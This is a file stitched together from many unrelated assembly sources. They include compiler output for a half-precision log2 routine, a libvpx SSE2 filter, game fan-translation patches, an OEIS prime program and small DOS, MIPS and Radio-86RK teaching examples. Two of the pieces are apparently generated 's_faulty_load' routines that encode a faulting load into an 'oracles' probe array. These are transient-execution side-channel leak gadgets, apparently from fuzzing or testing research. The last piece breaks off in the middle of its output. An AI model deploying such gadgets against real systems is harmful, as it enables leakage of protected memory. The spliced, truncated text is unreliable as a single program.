670,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 671,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 675,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 676,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 680,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 681,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 35,"math16.h" C_LINE 48,"log2f16.c" C_LINE 52,"log2f16.c" C_LINE 54,"log2f16.c" SECTION code_compiler ; Function log2f16 flags 0x00000288 __smallc __z88dk_fastcall ; _Float16 half_tlog2f16(_Float16 x) ; parameter '_Float16 x' at sp+2 size(2) C_LINE 55,"log2f16.c::log2f16" .log2f16 GLOBAL _log2f16 ._log2f16 push hl push bc push bc push bc ld hl,6 ;const add hl,sp ld e,(hl) inc hl ld d,(hl) push de ld hl,0 ;const call l_f16_le ld a,h or l jp z,i_2 ld hl,64511 ;const pop bc pop bc pop bc pop bc ret .i_2 ld hl,6 ;const add hl,sp push hl ld e,(hl) inc hl ld d,(hl) push de ld hl,4 ;const add hl,sp push hl call frexpf16_callee pop de ex de,hl ;l_pint ld (hl),e inc hl ld (hl),d ex de,hl ld hl,6 ;const add hl,sp ld e,(hl) inc hl ld d,(hl) push de ld hl,14760 ;const call l_f16_lt ld a,h or l jp z,i_3 pop hl dec hl push hl ld hl,6 ;const add hl,sp push hl ld a,(hl) ;l_gint inc hl ld h,(hl) ld l,a call mul2f16 push hl ld hl,15360 ;const call l_f16_sub pop de ex de,hl ;l_pint ld (hl),e inc hl ld (hl),d ex de,hl jp i_5 .i_3 ld hl,6 ;const add hl,sp push hl ld e,(hl) inc hl ld d,(hl) push de ld hl,15360 ;const call l_f16_sub pop de ex de,hl ;l_pint ld (hl),e inc hl ld (hl),d ex de,hl .i_5 ld hl,6 ;const add hl,sp ld e,(hl) inc hl ld d,(hl) push de ld hl,8 ;const add hl,sp ld a,(hl) ;l_gint inc hl ld h,(hl) ld l,a call l_f16_mul pop de pop bc push hl push de ld hl,4 ;const add hl,sp push hl ld hl,8 ;const add hl,sp ld e,(hl) inc hl ld d,(hl) push de ld hl,_f16_coeff_log push hl ld hl,9 ;const push hl call polyf16_callee push hl ld hl,6 ;const add hl,sp ld a,(hl) ;l_gint inc hl ld h,(hl) ld l,a call l_f16_mul pop de ex de,hl ;l_pint ld (hl),e inc hl ld (hl),d ex de,hl ld hl,4 ;const add hl,sp push hl ld e,(hl) inc hl ld d,(hl) push de ld hl,6 ;const add hl,sp ld a,(hl) ;l_gint inc hl ld h,(hl) ld l,a call div2f16 call l_f16_sub pop de ex de,hl ;l_pint ld (hl),e inc hl ld (hl),d ex de,hl ld hl,4 ;const add hl,sp ld e,(hl) inc hl ld d,(hl) push de ld hl,14101 ;const call l_f16_mul pop de pop bc push hl push de push hl ld hl,8 ;const add hl,sp ld e,(hl) inc hl ld d,(hl) push de ld hl,14101 ;const call l_f16_mul call l_f16_add pop de pop bc push hl push de push hl ld hl,6 ;const add hl,sp ld a,(hl) ;l_gint inc hl ld h,(hl) ld l,a call l_f16_add pop de pop bc push hl push de push hl ld hl,8 ;const add hl,sp ld a,(hl) ;l_gint inc hl ld h,(hl) ld l,a call l_f16_add pop de pop bc push hl push de push hl ex de,hl call l_f16_sint2f call l_f16_add pop de pop bc push hl push de pop bc pop bc pop bc pop bc ret ; --- Start of Static Variables --- SECTION bss_compiler SECTION code_compiler ; --- Start of Scope Defns --- GLOBAL acos GLOBAL asin GLOBAL atan GLOBAL atan2 GLOBAL atan2_callee GLOBAL cos GLOBAL sin GLOBAL tan GLOBAL acosh GLOBAL asinh GLOBAL atanh GLOBAL cosh GLOBAL sinh GLOBAL tanh GLOBAL exp GLOBAL exp2 GLOBAL expm1 GLOBAL frexp GLOBAL frexp_callee GLOBAL ilogb GLOBAL ldexp GLOBAL ldexp_callee GLOBAL scalbn GLOBAL scalbn_callee GLOBAL scalbln GLOBAL scalbln_callee GLOBAL log GLOBAL log10 GLOBAL log1p GLOBAL log2 GLOBAL logb GLOBAL fabs GLOBAL hypot GLOBAL hypot_callee GLOBAL pow GLOBAL pow_callee GLOBAL sqrt GLOBAL cbrt GLOBAL erf GLOBAL erfc GLOBAL lgamma GLOBAL tgamma GLOBAL ceil GLOBAL floor GLOBAL nearbyint GLOBAL rint GLOBAL lrint GLOBAL round GLOBAL lround GLOBAL trunc GLOBAL modf GLOBAL modf_callee GLOBAL fmod GLOBAL fmod_callee GLOBAL remainder GLOBAL remainder_callee GLOBAL remquo GLOBAL remquo_callee GLOBAL copysign GLOBAL copysign_callee GLOBAL nan GLOBAL nextafter GLOBAL nextafter_callee GLOBAL nexttoward GLOBAL nexttoward_callee GLOBAL fdim GLOBAL fdim_callee GLOBAL fmax GLOBAL fmax_callee GLOBAL fmin GLOBAL fmin_callee GLOBAL fma GLOBAL fma_callee GLOBAL isgreater GLOBAL isgreater_callee GLOBAL isgreaterequal GLOBAL isgreaterequal_callee GLOBAL isless GLOBAL isless_callee GLOBAL islessequal GLOBAL islessequal_callee GLOBAL islessgreater GLOBAL islessgreater_callee GLOBAL isunordered GLOBAL isunordered_callee GLOBAL f16_f48 GLOBAL f48_f16 GLOBAL f16_f32 GLOBAL f32_f16 GLOBAL i16_f16 GLOBAL u16_f16 GLOBAL i32_f16 GLOBAL u32_f16 GLOBAL f16_i8 GLOBAL f16_i16 GLOBAL f16_i32 GLOBAL f16_u8 GLOBAL f16_u16 GLOBAL f16_u32 GLOBAL addf16 GLOBAL addf16_callee GLOBAL subf16 GLOBAL subf16_callee GLOBAL mulf16 GLOBAL mulf16_callee GLOBAL divf16 GLOBAL divf16_callee GLOBAL fmaf16 GLOBAL fmaf16_callee GLOBAL polyf16 GLOBAL polyf16_callee GLOBAL hypotf16 GLOBAL hypotf16_callee GLOBAL invf16 GLOBAL invsqrtf16 GLOBAL sqrtf16 GLOBAL div2f16 GLOBAL mul2f16 GLOBAL mul10f16 GLOBAL frexpf16 GLOBAL frexpf16_callee GLOBAL ldexpf16 GLOBAL ldexpf16_callee GLOBAL acosf16 GLOBAL asinf16 GLOBAL atanf16 GLOBAL cosf16 GLOBAL sinf16 GLOBAL tanf16 GLOBAL expf16 GLOBAL exp2f16 GLOBAL exp10f16 GLOBAL logf16 GLOBAL log2f16 GLOBAL log10f16 GLOBAL powf16 GLOBAL powf16_callee GLOBAL fabsf16 GLOBAL negf16 GLOBAL ceilf16 GLOBAL floorf16 GLOBAL isgreaterf16 GLOBAL isgreaterf16_callee GLOBAL isgreaterequalf16 GLOBAL isgreaterequalf16_callee GLOBAL islessf16 GLOBAL islessf16_callee GLOBAL islessequalf16 GLOBAL islessequalf16_callee GLOBAL islessgreaterf16 GLOBAL islessgreaterf16_callee GLOBAL isnotequalf16 GLOBAL isnotequalf16_callee GLOBAL isunorderedf16 GLOBAL isunorderedf16_callee GLOBAL _f16_coeff_log ; --- End of Scope Defns --- ; --- End of Compilation ---
db "OLD SHRIMP@" ; species name db "An ancestral" next "#MON that lived" next "in the ocean. Over" page "time, its eight" next "feet transformed" next "into wings.@"
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "vpx_ports/x86_abi_support.asm" ; void vp10_temporal_filter_apply_sse2 | arg ; (unsigned char *frame1, | 0 ; unsigned int stride, | 1 ; unsigned char *frame2, | 2 ; unsigned int block_width, | 3 ; unsigned int block_height, | 4 ; int strength, | 5 ; int filter_weight, | 6 ; unsigned int *accumulator, | 7 ; unsigned short *count) | 8 global sym(vp10_temporal_filter_apply_sse2) PRIVATE sym(vp10_temporal_filter_apply_sse2): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 9 SAVE_XMM 7 GET_GOT rbx push rsi push rdi ALIGN_STACK 16, rax %define block_width 0 %define block_height 16 %define strength 32 %define filter_weight 48 %define rounding_bit 64 %define rbp_backup 80 %define stack_size 96 sub rsp, stack_size mov [rsp + rbp_backup], rbp ; end prolog mov edx, arg(3) mov [rsp + block_width], rdx mov edx, arg(4) mov [rsp + block_height], rdx movd xmm6, arg(5) movdqa [rsp + strength], xmm6 ; where strength is used, all 16 bytes are read ; calculate the rounding bit outside the loop ; 0x8000 >> (16 - strength) mov rdx, 16 sub rdx, arg(5) ; 16 - strength movq xmm4, rdx ; can't use rdx w/ shift movdqa xmm5, [GLOBAL(_const_top_bit)] psrlw xmm5, xmm4 movdqa [rsp + rounding_bit], xmm5 mov rsi, arg(0) ; src/frame1 mov rdx, arg(2) ; predictor frame mov rdi, arg(7) ; accumulator mov rax, arg(8) ; count ; dup the filter weight and store for later movd xmm0, arg(6) ; filter_weight pshuflw xmm0, xmm0, 0 punpcklwd xmm0, xmm0 movdqa [rsp + filter_weight], xmm0 mov rbp, arg(1) ; stride pxor xmm7, xmm7 ; zero for extraction mov rcx, [rsp + block_width] imul rcx, [rsp + block_height] add rcx, rdx cmp dword ptr [rsp + block_width], 8 jne .temporal_filter_apply_load_16 .temporal_filter_apply_load_8: movq xmm0, [rsi] ; first row lea rsi, [rsi + rbp] ; += stride punpcklbw xmm0, xmm7 ; src[ 0- 7] movq xmm1, [rsi] ; second row lea rsi, [rsi + rbp] ; += stride punpcklbw xmm1, xmm7 ; src[ 8-15] jmp .temporal_filter_apply_load_finished .temporal_filter_apply_load_16: movdqa xmm0, [rsi] ; src (frame1) lea rsi, [rsi + rbp] ; += stride movdqa xmm1, xmm0 punpcklbw xmm0, xmm7 ; src[ 0- 7] punpckhbw xmm1, xmm7 ; src[ 8-15] .temporal_filter_apply_load_finished: movdqa xmm2, [rdx] ; predictor (frame2) movdqa xmm3, xmm2 punpcklbw xmm2, xmm7 ; pred[ 0- 7] punpckhbw xmm3, xmm7 ; pred[ 8-15] ; modifier = src_byte - pixel_value psubw xmm0, xmm2 ; src - pred[ 0- 7] psubw xmm1, xmm3 ; src - pred[ 8-15] ; modifier *= modifier pmullw xmm0, xmm0 ; modifer[ 0- 7]^2 pmullw xmm1, xmm1 ; modifer[ 8-15]^2 ; modifier *= 3 pmullw xmm0, [GLOBAL(_const_3w)] pmullw xmm1, [GLOBAL(_const_3w)] ; modifer += 0x8000 >> (16 - strength) paddw xmm0, [rsp + rounding_bit] paddw xmm1, [rsp + rounding_bit] ; modifier >>= strength psrlw xmm0, [rsp + strength] psrlw xmm1, [rsp + strength] ; modifier = 16 - modifier ; saturation takes care of modifier > 16 movdqa xmm3, [GLOBAL(_const_16w)] movdqa xmm2, [GLOBAL(_const_16w)] psubusw xmm3, xmm1 psubusw xmm2, xmm0 ; modifier *= filter_weight pmullw xmm2, [rsp + filter_weight] pmullw xmm3, [rsp + filter_weight] ; count movdqa xmm4, [rax] movdqa xmm5, [rax+16] ; += modifier paddw xmm4, xmm2 paddw xmm5, xmm3 ; write back movdqa [rax], xmm4 movdqa [rax+16], xmm5 lea rax, [rax + 16*2] ; count += 16*(sizeof(short)) ; load and extract the predictor up to shorts pxor xmm7, xmm7 movdqa xmm0, [rdx] lea rdx, [rdx + 16*1] ; pred += 16*(sizeof(char)) movdqa xmm1, xmm0 punpcklbw xmm0, xmm7 ; pred[ 0- 7] punpckhbw xmm1, xmm7 ; pred[ 8-15] ; modifier *= pixel_value pmullw xmm0, xmm2 pmullw xmm1, xmm3 ; expand to double words movdqa xmm2, xmm0 punpcklwd xmm0, xmm7 ; [ 0- 3] punpckhwd xmm2, xmm7 ; [ 4- 7] movdqa xmm3, xmm1 punpcklwd xmm1, xmm7 ; [ 8-11] punpckhwd xmm3, xmm7 ; [12-15] ; accumulator movdqa xmm4, [rdi] movdqa xmm5, [rdi+16] movdqa xmm6, [rdi+32] movdqa xmm7, [rdi+48] ; += modifier paddd xmm4, xmm0 paddd xmm5, xmm2 paddd xmm6, xmm1 paddd xmm7, xmm3 ; write back movdqa [rdi], xmm4 movdqa [rdi+16], xmm5 movdqa [rdi+32], xmm6 movdqa [rdi+48], xmm7 lea rdi, [rdi + 16*4] ; accumulator += 16*(sizeof(int)) cmp rdx, rcx je .temporal_filter_apply_epilog pxor xmm7, xmm7 ; zero for extraction cmp dword ptr [rsp + block_width], 16 je .temporal_filter_apply_load_16 jmp .temporal_filter_apply_load_8 .temporal_filter_apply_epilog: ; begin epilog mov rbp, [rsp + rbp_backup] add rsp, stack_size pop rsp pop rdi pop rsi RESTORE_GOT RESTORE_XMM UNSHADOW_ARGS pop rbp ret SECTION_RODATA align 16 _const_3w: times 8 dw 3 align 16 _const_top_bit: times 8 dw 1<<15 align 16 _const_16w times 8 dw 16
; F-Zero Climax Translation by Normmatt .align 4 StoryEpisode16PointerList: .word Episode16_Line1 .word Episode16_Line2 .word Episode16_Line3 .word Episode16_Line4 .word Episode16_Line5 .word Episode16_Line6 .word Episode16_Line7 .word Episode16_Line8 .word Episode16_Line9 .word Episode16_Line10 .word Episode16_Line11 .word Episode16_Line12 .word Episode16_Line13 .word Episode16_Line14 .word Episode16_Line15 .word Episode16_Line16 .word Episode16_Line17 .word Episode16_Line18 .word Episode16_Line19 .word Episode16_Line20 .word Episode16_Line21 .word Episode16_Line22 .word Episode16_Line23 .word Episode16_Line24 .word Episode16_Line25 .word Episode16_Line26 .word Episode16_Line27 .word EOF .word EOF Episode16_Line1: .ascii "Miss Killer approaches Super" TextEnd Episode16_Line2: .ascii "Arrow, self-styled defender of" TextEnd Episode16_Line3: .ascii "justice, in order to make use of" TextEnd Episode16_Line4: .ascii "him. The naive Super Arrow is" TextEnd Episode16_Line5: .ascii "completely taken in by her lies," TextEnd Episode16_Line6: .ascii "pledging to help her win her" TextEnd Episode16_Line7: .ascii "race. Ryu sees this and warns" TextEnd Episode16_Line8: .ascii "Super Arrow that Miss Killer is in" TextEnd Episode16_Line9: .ascii "fact an agent of Dark Million," TextEnd Episode16_Line10: .ascii "but Super Arrow refuses to" TextEnd Episode16_Line11: .ascii "listen." TextEnd Episode16_Line12: .ascii "Training Miss Killer for victory," TextEnd Episode16_Line13: .ascii "Super Arrow teaches her the" TextEnd Episode16_Line14: .ascii "\"sandwich burst\" technique. He" TextEnd Episode16_Line15: .ascii "also gets Ryu to help her." TextEnd Episode16_Line16: .ascii "Race day: Miss Killer uses the" TextEnd Episode16_Line17: .ascii "\"sandwich burst\" technique to" TextEnd Episode16_Line18: .ascii "put her Moon Shadow in first" TextEnd Episode16_Line19: .ascii "place. But then Mrs. Arros," TextEnd Episode16_Line20: .ascii "Super Arrow's wife, uses the" TextEnd Episode16_Line21: .ascii "same move to put Ryu's car in" TextEnd Episode16_Line22: .ascii "Miss Killer's position. They" TextEnd Episode16_Line23: .ascii "prevent Miss Killer from winning." TextEnd Episode16_Line24: .ascii "Later, Super Arrow looks into" TextEnd Episode16_Line25: .ascii "the sunset and laughs, still" TextEnd Episode16_Line26: .ascii "having no idea that he's been" TextEnd Episode16_Line27: .ascii "duped!" TextEnd ; make sure to leave an empty line at the end
// GameCube "Giftpia" Japanese To English Translation by krom (Peter Lemon): endian msb // GameCube PPC requires Big-Endian Encoding (Most Significant Bit) output "../../output/Giftpia [U].iso", create origin $000000; insert "../../isos/Giftpia [J].iso" // Include Japanese Giftpia ISO macro Text(OFFSET, TEXT) { map 0, 0, 256 // Map Default ASCII Chars origin {OFFSET} db {TEXT} // ASCII Text To Print } macro TextShiftJIS(OFFSET, TEXT) { // Map Shift-JIS Words map ' ', $8140 map $2C, $8143 // Comma "," map '.', $8144 map ':', $8146 map '?', $8148 map '!', $8149 map '~', $8160 map '\s', $8166 // Single Quote "'" map '\d', $8168 // Double Quote '"' map '+', $817B map '&', $8195 map '0', $824F, 10 // Map Numbers map 'A', $8260, 26 // Map English "Upper Case" Characters map 'a', $8281, 26 // Map English "Lower Case" Characters origin {OFFSET} dw {TEXT} // Shift-JIS Text To Print } //Region Text($3, "E") include "Banner.asm" include "Menus.asm"
; A100494: Primes of the form 47n+3. ; Submitted by Jon Maiga ; 3,97,191,379,661,1319,1601,1789,2447,2729,2917,3011,4139,4327,4421,4703,5737,6113,6301,6959,7523,7993,8087,8369,8839,8933,9403,9497,9967,10061,10343,10531,11471,11941,13163,13633,14009,14197,14479,15137,15607,15889,16453,16547,16829,17299,17393,17581,17863,17957,18427,18521,18803,19273,21059,21247,21341,21529,22093,22469,22751,23879,24443,24631,25759,26041,26417,26699,26981,27733,27827,28109,28297,28579,29989,30271,30553,31963,32057,32621,33091,33749,33937,34031,34313,34501,34877,35159,35911 mov $1,1 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,47 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,93
# we can use $0, $at, $v0, $v1, $a0, $a1, $a2, and $a3 .data .text addi $a0,$0,5 #$a0 = n here 5 addi $v0,$0,1 #$v0 = sum = 1 addi $a1,$0,1 #$a1 holds our constant to compare against loop_start: beq $a0,$a1,loop_end #if n== 1 go to loop_end <=> while(n>1) # nop not needed since we dont use a branch delay slot #multiplication add $a2,$a0,$0 #b = n, $a2 = b add $v1,$v0,$0 #$v1 = sum before inner loop inner_loop_start: beq $a2,$a1,inner_loop_end #if b== 1 go to inner_loop_end <=> while(b > 1) add $v0,$v0,$v1 addi $a2,$a2,-1 beq $0,$0,inner_loop_start inner_loop_end: addi $a0,$a0,-1 beq $0,$0,loop_start loop_end:
;######################################################### ; Sintaxe: Diferença entre endereços e conteúdos(labels) ;######################################################### SECTION .data ;Seção para declaração de dados e inicialização de memória ;msg: DB 'B' ;Aloca 1 byte para o char 'B' no endereço de 'msg' msg: DB 'AD' ;Aloca 2 bytes para a string 'AD' no endereço de 'msg' SECTION .text ;Seção para o código global _start _start: ;mov ebx,msg ;Move o endereço de 'msg'(1ºbyte da string) para ebx (retorna para o sistema esse endereço). mov ebx,[msg] ;Move o conteúdo do endereço de 'msg' (1º byte) para ebx(retorna para o sistema esse conteúdo). mov eax,1 ;Comando de saída(final de execução) para o kernel int 0x80 ;interrupt 80 hex, chama o kernel
.global s_prepare_buffers s_prepare_buffers: push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x976e, %rsi lea addresses_WC_ht+0x1c072, %rdi nop sub $46947, %rbp mov $111, %rcx rep movsb nop nop nop nop add %rcx, %rcx lea addresses_WT_ht+0x922e, %rdi nop nop nop inc %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm4 vmovups %ymm4, (%rdi) nop nop nop nop nop and $28596, %rdi lea addresses_normal_ht+0x7b6e, %rsi lea addresses_D_ht+0x826e, %rdi inc %rax mov $118, %rcx rep movsq nop nop inc %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %rax ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r8 push %r9 push %rbp push %rdi // Store lea addresses_WT+0xa16e, %r14 nop sub %r8, %r8 mov $0x5152535455565758, %rdi movq %rdi, %xmm3 movups %xmm3, (%r14) dec %r9 // Store lea addresses_D+0x19b6e, %rbp nop nop and %r13, %r13 mov $0x5152535455565758, %r14 movq %r14, %xmm2 vmovaps %ymm2, (%rbp) nop cmp %rdi, %rdi // Load lea addresses_normal+0xe36e, %r13 nop and $48974, %r9 movb (%r13), %r8b nop nop nop nop and %rbp, %rbp // Faulty Load lea addresses_RW+0x10f6e, %r14 add %r8, %r8 mov (%r14), %ebp lea oracles, %rdi and $0xff, %rbp shlq $12, %rbp mov (%rdi,%rbp,1), %rbp pop %rdi pop %rbp pop %r9 pop %r8 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': True, 'size': 32, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
.model small .data a dw -32768 .code main: mov ax, @data mov ds, ax mov ax, a call printnum exit: mov ah, 04Ch mov al, 0 int 21h readnum: mov ah, 01h int 21h cmp al, 2dh je negative call [rpos + 2] ret negative: call rpos not bx add bx, 1 ret rpos: mov ah, 01h int 21h cmp al, 0dh je endl sub al, 48 mov ah, 0 push ax mov ax, 10 mul bx mov bx, ax pop ax add bx, ax call rpos endl: ret printnum: cmp ax, 0 jz pzero jnl ppos mov dl, '-' push ax mov ah, 02h int 21h pop ax not ax add ax, 1 ppos: ;used: ax dx bx cmp ax, 0 jz zero mov dx, 0 mov bx, 10 div bx add dl, 48 push dx call ppos pop dx push ax mov ah, 02h int 21h pop ax zero: ret pzero: mov dl, 30h mov ah, 02h int 21h ret end main
; kr580vm80a assembler code for radio-86rk (32kb) exit equ 0F86Ch print equ 0F818h setch equ 0F809h org 0h mvi c, 1fh call setch lxi hl, num+3 mvi a, 3 preplp: mvi m, 30h dcx hl dcr a cpi 0 jnz preplp mvi m, 31h mainlp: lxi hl, num call prinum lxi hl, minsev call print lxi hl, num+3 mov a, m sui 6 lesslp: dcr a cpi 30h jnc ifless mvi b, 1 adi 10 mov m, a dcx hl mov a, m cpi 0 jz end jnz lesslp ifless: mov m, a call prinum mvi c, 0dh call setch mvi c, 0ah call setch jmp mainlp end: lxi hl, endtxt call print jmp exit prinum: lxi hl, num mvi d, 4 mvi b, 1 prinlp: mov a, m cpi 30h jz pzer mov c, m mvi b, 0 call setch pzerrt: inx hl dcr d mov a, d cpi 0 rz jmp prinlp pzer: mov a, b mov c, m cpi 0 cz setch jmp pzerrt minsev: db ' - 7 = ', 0 endtxt: db 'zaskamlen kak mamont ahahahahahahahah)00)00)))0', 0dh, 0ah, 0 num: db 0,0,0,0
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rax push %rbx push %rdi push %rdx lea addresses_WT_ht+0x1894d, %rbx nop nop add %rdx, %rdx mov (%rbx), %r9w nop nop nop nop nop xor %rax, %rax lea addresses_WT_ht+0x6985, %r12 clflush (%r12) nop and %r15, %r15 mov (%r12), %rdx nop nop nop nop nop xor $60587, %rbx lea addresses_D_ht+0x12c9d, %r9 cmp %rdi, %rdi movw $0x6162, (%r9) add %rax, %rax lea addresses_A_ht+0x1c82d, %rdx nop nop nop sub %r9, %r9 movl $0x61626364, (%rdx) nop nop nop nop cmp $15016, %rdi pop %rdx pop %rdi pop %rbx pop %rax pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %rbp push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x37d5, %rdi and %r10, %r10 mov $0x5152535455565758, %rbp movq %rbp, %xmm4 vmovups %ymm4, (%rdi) nop add %r13, %r13 // Load lea addresses_A+0xa121, %rsi nop nop nop nop add $57992, %rdx movups (%rsi), %xmm0 vpextrq $1, %xmm0, %r14 cmp %r13, %r13 // Faulty Load mov $0x1cf4fe0000000a7d, %rbp nop nop nop nop inc %r14 mov (%rbp), %rdx lea oracles, %r13 and $0xff, %rdx shlq $12, %rdx mov (%r13,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rbp pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 32}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 